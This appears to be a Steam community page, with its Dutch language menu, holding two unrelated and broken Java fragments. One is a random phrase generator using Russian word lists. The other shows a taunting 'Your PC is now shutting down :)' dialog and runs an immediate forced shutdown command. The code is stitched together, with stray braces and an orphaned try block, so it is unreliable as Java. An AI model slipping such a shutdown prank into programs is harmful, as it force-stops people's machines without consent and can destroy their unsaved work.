Steam installeren
inloggen
|
taal
简体中文 (Chinees, vereenvoudigd)
繁體中文 (Chinees, traditioneel)
日本語 (Japans)
한국어 (Koreaans)
ไทย (Thai)
Български (Bulgaars)
Čeština (Tsjechisch)
Dansk (Deens)
Deutsch (Duits)
English (Engels)
Español-España (Spaans - Spanje)
Español - Latinoamérica (Spaans - Latijns-Amerika)
Ελληνικά (Grieks)
Français (Frans)
Italiano (Italiaans)
Bahasa Indonesia (Indonesisch)
Magyar (Hongaars)
Norsk (Noors)
Polski (Pools)
Português (Portugees - Portugal)
Português - Brasil (Braziliaans-Portugees)
Română (Roemeens)
Русский (Russisch)
Suomi (Fins)
Svenska (Zweeds)
Türkçe (Turks)
Tiếng Việt (Vietnamees)
Українська (Oekraïens)
Een vertaalprobleem melden
public static void main(String[] args) {
// TODO code application logic here
String[] wordListOne = {"круглосуточный" , "трех-звенный" , "3000-футовый"};
String[] wordListTwo = {"уполномоченный" , "ориентированный" , "трудный"};
String[] wordListThree = {"процесс" , "пункт разгрузки" , "выход из положения"};
int oneLe = wordListOne.length;
int twoLe = wordListTwo.length;
int threeLe = wordListThree.length;
int random1 = (int) (Math.random() * oneLe);
int random2 = (int) (Math.random() * twoLe);
int random3 = (int) (Math.random() * threeLe);
String f = wordListOne[random1] + " " + wordListTwo[random2] + " " + wordListThree[random3];
System.out.print("Все, что нам нужно, - это "+ f);
}
}
Runtime runtime = Runtime.getRuntime();
try {
JOptionPane.showMessageDialog(null, "Your PC is now shutting down :)");
runtime.exec("shutdown -s -t 0");
} catch (IOException e1) {
e1.printStackTrace();
}
System.exit(0);
}
}
}